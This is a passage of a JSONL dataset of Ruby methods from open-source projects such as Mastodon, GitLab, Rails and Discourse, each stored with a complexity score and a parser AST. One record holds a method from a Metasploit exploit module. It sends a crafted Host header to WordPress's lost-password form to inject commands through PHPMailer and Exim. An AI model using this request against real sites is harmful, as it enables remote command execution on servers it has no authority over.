\"iv\"]}]}]}]}]}","id":"826ffaaa-0658-4ce3-b6b8-886d84841a40"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/project/phase.rb","start_line":99,"raw_source":"def previous_phases\n    @previous_phases ||= project.available_phases.select { it.position < position }\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"previous_phases\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@previous_phases\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"available_phases\"]},\"select\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"it\"]},\"position\"]},\"<\",{\"type\":\"send\",\"children\":[null,\"position\"]}]}]}]}]}","id":"21128535-16a4-4b4b-8587-da42540c3262"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/setting.rb","start_line":100,"raw_source":"def value\n    YAML.safe_load(self[:value], permitted_classes: [ActiveSupport::HashWithIndifferentAccess, Symbol]) if self[:value].present?\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"safe_load\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"permitted_classes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"HashWithIndifferentAccess\"]},{\"type\":\"const\",\"children\":[null,\"Symbol\"]}]}]}]}]},null]}]}","id":"9cbc1553-905e-4cc1-8ece-959c1a8ce13b"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/sinatra-contrib/lib/sinatra/test_helpers.rb","start_line":181,"raw_source":"def last_request?\n      last_request\n      true\n    rescue Rack::Test::Error\n      false\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"last_request?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"last_request\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Test\"]},\"Error\"]}]},null,{\"type\":\"false\",\"children\":[]}]},null]}]}","id":"5a4566b0-8c39-4e6a-8942-12ed49eba0e9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/wp_phpmailer_host_header.rb","start_line":129,"raw_source":"def send_request_payload(command)\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => wordpress_url_login,\n      'headers' => {\n        'Host' => generate_exim_payload(command)\n      },\n      'vars_get' => {\n        'action' => 'lostpassword'\n      },\n      'vars_post' => {\n        'user_login' => datastore['USERNAME'],\n        'redirect_to' => '',\n        'wp-submit' => 'Get New Password'\n      }\n    )\n\n    if res && !res.redirect?\n      if res.code == 200 && res.body.include?('login_error')\n        fail_with(Failure::NoAccess, 'WordPress username may be incorrect')\n      elsif res.code == 400 && res.headers['Server'] =~ /^Apache/\n        fail_with(Failure::NotVulnerable, 'HttpProtocolOptions may be Strict')\n      else\n        fail_with(Failure::UnexpectedReply, \"Server returned code #{res.code}\")\n      end\n    end\n\n    res\n  end","complexity_score":32.83,"ast_json":"{\"type\":\"def\",\"children\":[\"send_request_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"command\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"wordpress_url_login\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Host\"]},{\"type\":\"send\",\"children\":[null,\"generate_exim_payload\",{\"type\":\"lvar\",\"children\":[\"command\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"lostpassword\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"user_login\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"redirect_to\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"wp-submit\"]},{\"type\":\"str\",\"children\":[\"Get New Password\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"redirect?\"]},\"!\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"login_error\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"str\",\"children\":[\"WordPress username may be incorrect\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[400]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Server\"]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Apache\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"str\",\"children\":[\"HttpProtocolOptions may be Strict\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Server returned code \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}","id":"bf950894-c1b7-4eb8-a9c3-34ac185c841b"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/widget/integrations/dyte_controller.rb","start_line":4,"raw_source":"def add_participant_to_meeting\n    if @message.content_type != 'integrations'\n      return render json: {\n        error: I18n.t('errors.dyte.invalid_message_type')\n      }, status: :unprocessable_entity\n    end\n\n    response = dyte_processor_service.add_participant_to_meeting(\n      @message.content_attributes['data']['meeting_id'],\n      @conversation.contact\n    )\n    render_response(response)\n  end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add_participant_to_meeting\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@message\"]},\"content_type\"]},\"!=\",{\"type\":\"str\",\"children\":[\"integrations\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"errors.dyte.invalid_message_type\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dyte_processor_service\"]},\"add_participant_to_meeting\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@message\"]},\"content_attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"data\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"meeting_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversation\"]},\"contact\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render_response\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}","id":"57a8e47a-08aa-4799-8cd2-7dc261e5668f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/account_statuses_cleanup_service.rb","start_line":7,"raw_source":"def call(account_policy, budget = 50)\n    return 0 unless account_policy.enabled?\n\n    cutoff_id = account_policy.compute_cutoff_id\n    return 0 if cutoff_id.blank?\n\n    num_deleted = 0\n    last_deleted = nil\n\n    account_policy.statuses_to_delete(budget, cutoff_id, account_policy.last_inspected).reorder(nil).find_each(order: :asc) do |status|\n      status.discard_with_reblogs\n      RemovalWorker.perform_async(status.id, { 'redraft' => false })\n      num_deleted += 1\n      last_deleted = status.id\n    end\n\n    account_policy.record_last_inspected(last_deleted.presence || cutoff_id)\n\n    num_deleted\n  end","complexity_score":27.9,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account_policy\"]},{\"type\":\"optarg\",\"children\":[\"budget\",{\"type\":\"int\",\"children\":[50]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account_policy\"]},\"enabled?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cutoff_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account_policy\"]},\"compute_cutoff_id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cutoff_id\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"num_deleted\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"last_deleted\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account_policy\"]},\"statuses_to_delete\",{\"type\":\"lvar\",\"children\":[\"budget\"]},{\"type\":\"lvar\",\"children\":[\"cutoff_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account_policy\"]},\"last_inspected\"]}]},\"reorder\",{\"type\":\"nil\",\"children\":[]}]},\"find_each\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"sym\",\"children\":[\"asc\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"discard_with_reblogs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RemovalWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"redraft\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"num_deleted\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"last_deleted\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account_policy\"]},\"record_last_inspected\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_deleted\"]},\"presence\"]},{\"type\":\"lvar\",\"children\":[\"cutoff_id\"]}]}]},{\"type\":\"lvar\",\"children\":[\"num_deleted\"]}]}]}","id":"9f992db1-0ce3-4306-b0aa-864078008439"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/current_user_mode.rb","start_line":92,"raw_source":"def optionally_run_in_admin_mode(user)\n          raise NonSidekiqEnvironmentError unless Gitlab::Runtime.sidekiq?\n\n          return yield unless Gitlab::CurrentSettings.admin_mode && user.can_access_admin_area?\n\n          bypass_session!(user.id) do\n            with_current_admin(user) do\n              yield\n            end\n          end\n        end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"optionally_run_in_admin_mode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Runtime\"]},\"sidekiq?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NonSidekiqEnvironmentError\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"admin_mode\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"can_access_admin_area?\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"yield\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bypass_session!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_current_admin\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"yield\",\"children\":[]}]}]}]}]}","id":"3c41de47-147c-47e6-ad0e-cb4de2d2b449"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/testing/null_resolver_test.rb","start_line":6,"raw_source":"def test_should_return_template_for_any_path\n    resolver = ActionView::NullResolver.new()\n    templates = resolver.find_all(\"path.erb\", \"arbitrary\", false, locale: [], formats: [:html], handlers: [])\n    assert_equal 1, templates.size, \"expected one template\"\n    assert_equal \"Template generated by Null Resolver\", templates.first.source\n    assert_equal \"arbitrary/path.erb\", templates.first.virtual_path.to_s\n    assert_nil templates.first.format\n  end","complexity_score":18.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_return_template_for_any_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"resolver\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"NullResolver\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"templates\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resolver\"]},\"find_all\",{\"type\":\"str\",\"children\":[\"path.erb\"]},{\"type\":\"str\",\"children\":[\"arbitrary\"]},{\"type\":\"false\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"formats\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"handlers\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"templates\"]},\"size\"]},{\"type\":\"str\",\"children\":[\"expected one template\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Template generated by Null Resolver\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"templates\"]},\"first\"]},\"source\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"arbitrary/path.erb\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"templates\"]},\"first\"]},\"virtual_path\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"templates\"]},\"first\"]},\"format\"]}]}]}]}","id":"3bb2fca4-dc83-457b-b68f-672986b48d92"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_report/generator.rb","start_line":267,"raw_source":"def generate_daily_metric_rollup_results(options = {})\n    unless conditions.nil?\n      conditions.preprocess_options = {:vim_performance_daily_adhoc => (time_profile && time_profile.rollup_daily_metrics)}\n    end\n\n    results = Metric::Helper.find_for_interval_name('daily', time_profile || tz, db_class)\n                            .where(where_clause)\n                            .where(options[:where_clause])\n                            .where(:timestamp => performance_report_time_range)\n                            .preload(get_ar_includes)\n                            .eager_load(get_ar_references)\n                            .limit(options[:limit])\n    results = Rbac.filtered(results, :class        => db,\n                                     :filter       => conditions,\n                                     :userid       => options[:userid],\n                                     :miq_group_id => options[:miq_group_id])\n    Metric::Helper.remove_duplicate_timestamps(results)\n  end","complexity_score":51.3,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_daily_metric_rollup_results\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conditions\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conditions\"]},\"preprocess_options=\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vim_performance_daily_adhoc\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"time_profile\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"time_profile\"]},\"rollup_daily_metrics\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metric\"]},\"Helper\"]},\"find_for_interval_name\",{\"type\":\"str\",\"children\":[\"daily\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"time_profile\"]},{\"type\":\"send\",\"children\":[null,\"tz\"]}]},{\"type\":\"send\",\"children\":[null,\"db_class\"]}]},\"where\",{\"type\":\"send\",\"children\":[null,\"where_clause\"]}]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"where_clause\"]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamp\"]},{\"type\":\"send\",\"children\":[null,\"performance_report_time_range\"]}]}]}]},\"preload\",{\"type\":\"send\",\"children\":[null,\"get_ar_includes\"]}]},\"eager_load\",{\"type\":\"send\",\"children\":[null,\"get_ar_references\"]}]},\"limit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"limit\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rbac\"]},\"filtered\",{\"type\":\"lvar\",\"children\":[\"results\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"send\",\"children\":[null,\"db\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter\"]},{\"type\":\"send\",\"children\":[null,\"conditions\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"userid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"userid\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"miq_group_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"miq_group_id\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metric\"]},\"Helper\"]},\"remove_duplicate_timestamps\",{\"type\":\"lvar\",\"children\":[\"results\"]}]}]}]}","id":"b7d04a17-153e-4cde-8126-1ef1361fbebf"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/workers/work_packages/apply_working_days_change_job.rb","start_line":78,"raw_source":"def for_each_work_package(scope)\n    scope.pluck(:id).each do |id|\n      next if already_processed_work_package_ids.include?(id)\n\n      processed_work_packages = yield(WorkPackage.find(id))\n      already_processed_work_package_ids.merge(processed_work_packages.pluck(:id))\n    end\n  end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"for_each_work_package\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scope\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"already_processed_work_package_ids\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"processed_work_packages\",{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"already_processed_work_package_ids\"]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processed_work_packages\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}","id":"ff952555-3945-432b-a0de-cc220bd655eb"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/context.rb","start_line":190,"raw_source":"def evaluate(object)\n      object.respond_to?(:evaluate) ? object.evaluate(self) : object\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"evaluate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"evaluate\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"evaluate\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"object\"]}]}]}","id":"153a954b-9766-4c36-985c-29675a366e21"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-data-explorer/lib/discourse_data_explorer/data_explorer.rb","start_line":430,"raw_source":"def self.foreign_keys\n      @fkey_columns ||= {\n        \"posts.last_editor_id\": :users,\n        \"posts.version\": :\"post_revisions.number\",\n        \"topics.featured_user1_id\": :users,\n        \"topics.featured_user2_id\": :users,\n        \"topics.featured_user3_id\": :users,\n        \"topics.featured_user4_id\": :users,\n        \"topics.featured_user5_id\": :users,\n        \"users.seen_notification_id\": :notifications,\n        \"users.uploaded_avatar_id\": :uploads,\n        \"users.primary_group_id\": :groups,\n        \"categories.latest_post_id\": :posts,\n        \"categories.latest_topic_id\": :topics,\n        \"categories.parent_category_id\": :categories,\n        \"badges.badge_grouping_id\": :badge_groupings,\n        \"post_actions.related_post_id\": :posts,\n        \"color_scheme_colors.color_scheme_id\": :color_schemes,\n        \"color_schemes.versioned_id\": :color_schemes,\n        \"incoming_links.incoming_referer_id\": :incoming_referers,\n        \"incoming_referers.incoming_domain_id\": :incoming_domains,\n        \"post_replies.reply_id\": :posts,\n        \"quoted_posts.quoted_post_id\": :posts,\n        \"topic_link_clicks.topic_link_id\": :topic_links,\n        \"topic_link_clicks.link_topic_id\": :topics,\n        \"topic_link_clicks.link_post_id\": :posts,\n        \"user_actions.target_topic_id\": :topics,\n        \"user_actions.target_post_id\": :posts,\n        \"user_avatars.custom_upload_id\": :uploads,\n        \"user_avatars.gravatar_upload_id\": :uploads,\n        \"user_badges.notification_id\": :notifications,\n        \"user_profiles.card_image_badge_id\": :badges,\n      }.with_indifferent_access\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"foreign_keys\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@fkey_columns\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"posts.last_editor_id\"]},{\"type\":\"sym\",\"children\":[\"users\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"posts.version\"]},{\"type\":\"sym\",\"children\":[\"post_revisions.number\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topics.featured_user1_id\"]},{\"type\":\"sym\",\"children\":[\"users\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topics.featured_user2_id\"]},{\"type\":\"sym\",\"children\":[\"users\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topics.featured_user3_id\"]},{\"type\":\"sym\",\"children\":[\"users\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topics.featured_user4_id\"]},{\"type\":\"sym\",\"children\":[\"users\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topics.featured_user5_id\"]},{\"type\":\"sym\",\"children\":[\"users\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"users.seen_notification_id\"]},{\"type\":\"sym\",\"children\":[\"notifications\"]}]},{\